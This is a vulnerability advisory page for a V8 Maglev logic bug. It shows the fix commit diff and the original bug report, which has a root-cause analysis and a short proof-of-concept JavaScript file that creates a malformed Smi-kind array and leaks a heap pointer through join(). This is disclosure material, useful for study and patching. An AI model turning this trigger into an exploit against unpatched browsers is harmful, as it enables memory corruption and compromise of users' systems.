Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInappropriate implementation in V8
DescriptionInappropriate implementation in V8
ComponentV8
Bug ClassLogic Error
Tracker454485895
Fix commitaf7644b2de8c (v8/v8) +13/-6
CISA KEVNot listed
Credited303f06e3
Disclosed2025-11-05

Files Changed

  • src/maglev/maglev-graph-builder.cc
  • src/maglev/maglev-ir.h
  • src/maglev/maglev-reducer-inl.h
From af7644b2de8ca3ccc4069b637b550d076caf4b38 Mon Sep 17 00:00:00 2001
From: Jakob Linke <jgruber@chromium.org>
Date: Tue, 04 Nov 2025 06:45:09 +0100
Subject: [PATCH] [maglev] Let HoleyFloat64ToTagged canonicalize smis by default

.. since current use patterns around BuildCheckSmi rely on this.
The expectation is that if `BuildCheckSmi(value)` passes at runtime,
then the value is guaranteed to be a smi when accessed later (e.g.
when it is stored into a slot).

One example: Array ctor speculation that picks the PACKED_SMI_ELEMENTS
elements kind, and guards values with `BuildCheckSmi`.

Some workarounds for this can now be removed; I've added comments
there and we can attempt that separately.

Bug: 454485895
Change-Id: I7ef81083a50151ea2ddd71626f2d5af7bafaca5c
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7100539
Commit-Queue: Jakob Linke <jgruber@chromium.org>
Reviewed-by: Victor Gomes <victorgomes@chromium.org>
Auto-Submit: Jakob Linke <jgruber@chromium.org>
Cr-Commit-Position: refs/heads/main@{#103479}
---

diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc
index baecea7..f32505d 100644
--- a/src/maglev/maglev-graph-builder.cc
+++ b/src/maglev/maglev-graph-builder.cc
@@ -1710,14 +1710,13 @@
   auto& alternative = node_info->alternative();
 
   if (ValueNode* alt = alternative.tagged()) {
-    // HoleyFloat64ToTagged does not canonicalize Smis by default, since it can
-    // be expensive. If we are reading a Smi value, we should try to
-    // canonicalize now.
+#ifdef DEBUG
     if (HoleyFloat64ToTagged* conversion_node =
             alt->TryCast<HoleyFloat64ToTagged>()) {
-      conversion_node->SetMode(
-          HoleyFloat64ToTagged::ConversionMode::kCanonicalizeSmi);
+      DCHECK_EQ(conversion_node->conversion_mode(),
+                HoleyFloat64ToTagged::ConversionMode::kCanonicalizeSmi);
     }
+#endif  // DEBUG
     return BuildCheckSmi(alt, !value->Is<Phi>());
   }
 
@@ -3260,6 +3259,8 @@
     case ContextCell::kSmi:
       // HoleyFloat64ToTagged does not canonicalize Smis by default, use
       // GetSmiValue to force canonicalization for the value if necessary.
+      // TODO(454485895): Consider removing this workaround since
+      // HoleyFloat64ToTagged now canonicalizes by default.
       RETURN_IF_ABORT(GetSmiValue(value));
       broker()->dependencies()->DependOnContextCell(slot_ref, state);
       return AddNewNode<StoreSmiContextCell>({value}, context_ref, slot_ref,
@@ -4477,6 +4478,8 @@
         // canonicalize smis by default in GetTaggedValue. We rely on
         // canonicalization though in TryReduceConstructArrayConstructor.
         // We should make this more robust.
+        // TODO(454485895): Consider removing this workaround since
+        // HoleyFloat64ToTagged now canonicalizes by default.
         MaybeReduceResult res = GetSmiValue(value);
         CHECK(res.IsDoneWithValue());
         return res.value();
@@ -13711,6 +13714,8 @@
             GetRootConstant(RootIndex::kEmptyFixedArray));
   // Either the value is a Smi already, or we force a conversion to Smi and
   // cache the value in its alternative representation node.
+  // TODO(454485895): Consider removing this workaround since
+  // HoleyFloat64ToTagged now canonicalizes by default.
   RETURN_IF_ABORT(GetSmiValue(length));
   vobj->set(JSArray::kElementsOffset,
             GetRootConstant(RootIndex::kEmptyFixedArray));
diff --git a/src/maglev/maglev-ir.h b/src/maglev/maglev-ir.h
index de59bfd..c5c5208 100644
--- a/src/maglev/maglev-ir.h
+++ b/src/maglev/maglev-ir.h
@@ -4365,6 +4365,8 @@
     using Base = FixedInputValueNodeT<1, name>;                        \
                                                                        \
    public:                                                             \
+    /* TODO(454485895): Consider removing kForceHeapNumber since    */ \
+    /* it is now unused.                                            */ \
     enum class ConversionMode { kCanonicalizeSmi, kForceHeapNumber };  \
     explicit name(uint64_t bitfield, ConversionMode mode)              \
         : Base(ConversionModeBitField::update(bitfield, mode)) {}      \
diff --git a/src/maglev/maglev-reducer-inl.h b/src/maglev/maglev-reducer-inl.h
index 3fda3a4..e86ac2a 100644
--- a/src/maglev/maglev-reducer-inl.h
+++ b/src/maglev/maglev-reducer-inl.h
@@ -593,7 +593,7 @@
       }
       return alternative.set_tagged(
           AddNewNodeNoInputConversion<HoleyFloat64ToTagged>(
-              {value}, HoleyFloat64ToTagged::ConversionMode::kForceHeapNumber));
+              {value}, HoleyFloat64ToTagged::ConversionMode::kCanonicalizeSmi));
     }
 
     case ValueRepresentation::kIntPtr:
Loading diff…

Original Bug Report

reported by hu...@gmail.com

Incorrect Optimization of ArrayConstructor by Maglev Leads to Creation of Malformed JSArray Objects

VULNERABILITY DETAILS

1 Why Crash?

After Maglev optimization, an incorrect JSArray object was created for arr2, leading to a crash when arr2.join() was executed. The abnormal JSArray object is as follows.

DebugPrint: 0x9b10084a591: [JSArray]
 - map: 0x28cd02827311 <Map[16](PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x28cd02827339 <JSArray[0]>
 - elements: 0x28cd0284a581 <FixedArray[2]> [PACKED_SMI_ELEMENTS]
 - length: 2
 - properties: 0x28cd020007bd <FixedArray[0]>
 - All own properties (excluding elements): {
    0x9b100000df1: [String] in ReadOnlySpace: #length: 0x28cd026e8c99 <AccessorInfo name= 0x28cd02000df1 <String[6]: #length>, data= 0x28cd02000011 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor
 }
 - elements: 0x28cd0284a581 <FixedArray[2]> {
           0: 0x28cd0284a575 <HeapNumber 1.0>
           1: 0
 }

Note: elements_kind = PACKED_SMI_ELEMENTS implies that the array should contain only Smis, but in reality, elements[0] is not a Smi, but a pointer to a HeapNumber object.

The vulnerability occurs in the TryReduceConstructArrayConstructor() method of Maglev.

2 Maglev Optimize ArrayConstructor

2.1 Collect Type Info

For the case of new Array(x0, x1, ...), this method first iterates over all argument nodes and collects some type information at compile time.

MaybeReduceResult MaglevGraphBuilder::TryReduceConstructArrayConstructor(
    compiler::JSFunctionRef array_function, CallArguments& args,
    compiler::OptionalAllocationSiteRef maybe_allocation_site) {
    ...

  // Arity > 1, `new Array(x0, x1, ...)`.
  DCHECK_GT(arity, 1);
  DCHECK_EQ(variant, InlineArrayCtorVariant::kMultipleArgs);

  // Gather the values to store into the newly created array, and remember
  // sufficient information about node types so we can select a suitable
  // elements_kind below.
  bool values_all_smis = true, values_all_numbers = true,
       values_any_nonnumber = false;
  base::SmallVector<ValueNode*, 16> values;
  values.reserve(arity);
  for (ValueNode* v : args) {
    NodeType node_type = GetType(v);
    if (!NodeTypeIs(node_type, NodeType::kSmi)) {
      values_all_smis = false;
      if (!NodeTypeIs(node_type, NodeType::kNumber)) {
        values_all_numbers = false;
        if (!NodeTypeCanBe(node_type, NodeType::kNumber)) {
          values_any_nonnumber = true;
        }
      }
    }
    values.push_back(v);
  }
  ...
}

In this example, the two argument nodes for the ArrayConstructor are:

  • n55 : LoadHoleyFixedDoubleArrayElement [n51, n26]: Represents the float64 value loaded from arr[i]. The NodeType for this node is kNumberOrOddball (It’s confusing that kNumberOrOddball suggests this might be a HeapNumber object, but in reality, this node can only be of type float64).
  • n24 : Phi(r5) [n10, n22]: Represents the node for i, with a NodeType of SMI.

Because kNumberOrOddball is neither SMI nor Number, the execution results in values_all_smis=false, values_all_numbers=false, and values_any_nonnumber=false. This means we cannot make any definitive inferences about the types of the argument nodes at compile time.

2.2 Speculative Optimization

Subsequently, the elements_kind is updated based on values_all_smis, values_all_numbers, and values_any_nonnumber. However, since they are all false, the elements_kind remains as the initial PACKED_SMI_ELEMENTS (obtained originally from the initial_map). Furthermore, with can_speculate_call enabled by default, execution continues, proceeding with speculative optimization.

MaybeReduceResult MaglevGraphBuilder::TryReduceConstructArrayConstructor(
    compiler::JSFunctionRef array_function, CallArguments& args,
    compiler::OptionalAllocationSiteRef maybe_allocation_site) {
  ...

  if (values_all_smis) {    // false
    // Smis can be stored with any elements kind.
  } else if (values_all_numbers) {  // false
    elements_kind = GetMoreGeneralElementsKind(
        elements_kind, IsHoleyElementsKind(elements_kind)
                           ? HOLEY_DOUBLE_ELEMENTS
                           : PACKED_DOUBLE_ELEMENTS);
  } else if (values_any_nonnumber) {    // false
    // We statically know that at least one value is not a number.
    elements_kind = GetMoreGeneralElementsKind(
        elements_kind,
        IsHoleyElementsKind(elements_kind) ? HOLEY_ELEMENTS : PACKED_ELEMENTS);
  } else if (!can_speculate_call) {    // <=== allow default, continue optimize
    // We cannot precisely determine the elements_kind based on static types,
    // and speculation has already been disabled via feedback.
    return {};
  }

  ...
}

At this point in the code, the type of 56: HoleyFloat64ToTagged [n55] is kNumberOrOddball, but the elements_kind remains PACKED_SMI_ELEMENTS, indicating the array contains only Smis. This is clearly incorrect. However, since we are performing speculative optimization, the expectation is that inserted nodes will detect this issue at runtime and prevent the optimization from proceeding.

2.3 Inline ArrayConstructor

MaybeReduceResult MaglevGraphBuilder::TryReduceConstructArrayConstructor(
    compiler::JSFunctionRef array_function, CallArguments& args,
    compiler::OptionalAllocationSiteRef maybe_allocation_site) {
    ...

  // insert check node
  if (IsSmiElementsKind(elements_kind)) {    // If we expect all elements in the array to be SMIs
    for (ValueNode* v : args) {
      // If node v is already known to be of SMI type at compile time, no runtime check is needed
      if (NodeTypeIs(GetType(v), NodeType::kSmi)) continue;    
      // If it cannot be determined whether it is an SMI at compile time, it's a speculative optimization, so a CheckSmi node must be inserted
      RETURN_IF_ABORT(BuildCheckSmi(v));    
    }
  } else if (IsDoubleElementsKind(elements_kind)) {
    ...
  }

  // Allocate JSArray and FixedArray Object
  return BuildAndAllocateJSArray(
      initial_map, GetSmiConstant(arity),
      BuildElementsArray(elements_kind, base::VectorOf(values)),
      slack_tracking_prediction, allocation_type);
}

Subsequently, check nodes are inserted based on the elements_kind:

  • Since the node type of n55 : LoadHoleyFixedDoubleArrayElement [n51, n26] is kNumberOrOddball, the compile-time cannot guarantee it’s an SMI. Therefore, CheckSmi(v) is called to check at runtime whether the value of this node is an SMI.
  • The ValueRepresentation of the n55 node is kHoleyFloat64, so BuildCheckSmi() inserts a CheckHoleyFloat64IsSmi() node. Note: This node only checks whether the Float64 value can be represented as an SMI; it does not guarantee that the ValueRepresentation of the n55 node becomes SMI. In this example, the Float64 value loaded by n55 is 1.0, so it passes this node’s check.

Finally, BuildElementsArray() is called to create a VirtualObject, attempting to write the value from the n55 : LoadHoleyFixedDoubleArrayElement [n51, n26] node into arr2->elements[0]. Since this field only accepts values of type kTagged, materializing the VirtualObject generates a n56 : HoleyFloat64ToTagged [n55] node to convert the Float64 into a HeapNumber object. Ultimately, the TaggedPointer of the HeapNumber object is written into the array whose elements_kind is PACKED_SMI_ELEMENTS.

I believe the root cause of this vulnerability lies in the incorrect use of BuildCheckSmi() during the speculative optimization of new Array(x, y, ...). This method only ensures the value can be represented as an SMI. What we actually need is to convert the Float64 into an SMI and write that into the array.

2.4 Maglev Graph

Ultimately, the following Maglev graph will be generated:

         // Load the i-th float64 value from `arr`
         55: LoadHoleyFixedDoubleArrayElement [n51, n26], 3 uses, cannot truncate to int32
         // create HeapNumber Object for float64
         56: HoleyFloat64ToTagged [n55], 2 uses
         ...

         // Check float64 can be represented by SMI
         59: CheckHoleyFloat64IsSmi [n55]

          // ALlocate FixedArray for `arr2`
         65: AllocationBlock(Young), 2 uses
         66: InlinedAllocation(object 0x28cd020005dd <Map(FIXED_ARRAY_TYPE)>) [n65], 5 uses (5 non escaping uses)
         67: StoreMap(0x28cd020005dd <Map(FIXED_ARRAY_TYPE)>, InlinedAllocation) [n66] // map
         68: StoreTaggedFieldNoWriteBarrier(0x4) [n66, n60]    // length
         69: StoreTaggedFieldWithWriteBarrier(0x8) [n66, n56]    // values[0] = HeapNumber <===
         70: StoreTaggedFieldNoWriteBarrier(0xc) [n66, n24]    // values[1] = i

         // Allocation JSArray for `arr2`
         71: InlinedAllocation(object 0x28cd02827311 <Map[16](PACKED_SMI_ELEMENTS)>) [n65], 5 uses (4 non escaping uses)
         72: StoreMap(0x28cd02827311 <Map[16](PACKED_SMI_ELEMENTS)>, InlinedAllocation) [n71] // map, kind=PACKED_SMI_ELEMENTS
         73: StoreTaggedFieldNoWriteBarrier(0x4) [n71, n64]    // properties
         74: StoreTaggedFieldNoWriteBarrier(0x8) [n71, n66]    // elements
         75: StoreTaggedFieldNoWriteBarrier(0xc) [n71, n60]    // length

3 Commit Bisection

This vulnerability was introduced in the following commit, which added speculative optimization for new Array(x, y, ...). It is precisely this feature that introduced the vulnerability.

commit 16d8eb8e376816ed6c666b4aa3bc8308c147259b (HEAD)
Author: Jakob Linke <jgruber@chromium.org>
Date:   Thu Sep 11 13:53:40 2025 +0200

4 Maybe Exploitable?

I believe this is a sufficiently powerful bug because elements_kind is used in many places, and I am currently attempting to exploit it.

In fact, when executing this POC in release mode, you will find that after triggering the vulnerability, arr2.join() returns a peculiar string: 4346106,0. The number 4346106 corresponds to 0x4250fa, which is exactly the result of the HeapNumber object pointer from arr2[0] being right-shifted by one. This indicates that join() leaked the pointer by mistaking it for a SMI.

REPRODUCTION CASE

poc.js:

// HOLEY_DOUBLE_ELEMENTS
const arr = [1, , , , , 1.1];

function opt_me() {
    for (let i = 0; i < 5; i++) {
        const ele = arr[i];
        const arr2 = Array(ele, i); // PACKED_SMI_ELEMENTS
        function inner() {
            arr2.join();    // <=== crash here
            arr.__proto__ = ele;
        }
        inner();
    }
}

%PrepareFunctionForOptimization(opt_me);
opt_me();
%OptimizeMaglevOnNextCall(opt_me);
opt_me();

V8 must be built with a debug configuration, Execute v8 as follows:

./d8 \
    --allow-natives-syntax \
    ./poc.js

This will result in the following crash:

abort: CSA_DCHECK failed: Torque assert 'Is<A>(o)' failed [src/builtins/cast.tq:946] [../../src/builtins/array-join.tq:423] [../../src/builtins/array-join.tq:814]

CREDIT INFORMATION

Reporter credit: [303f06e3]

View on issue tracker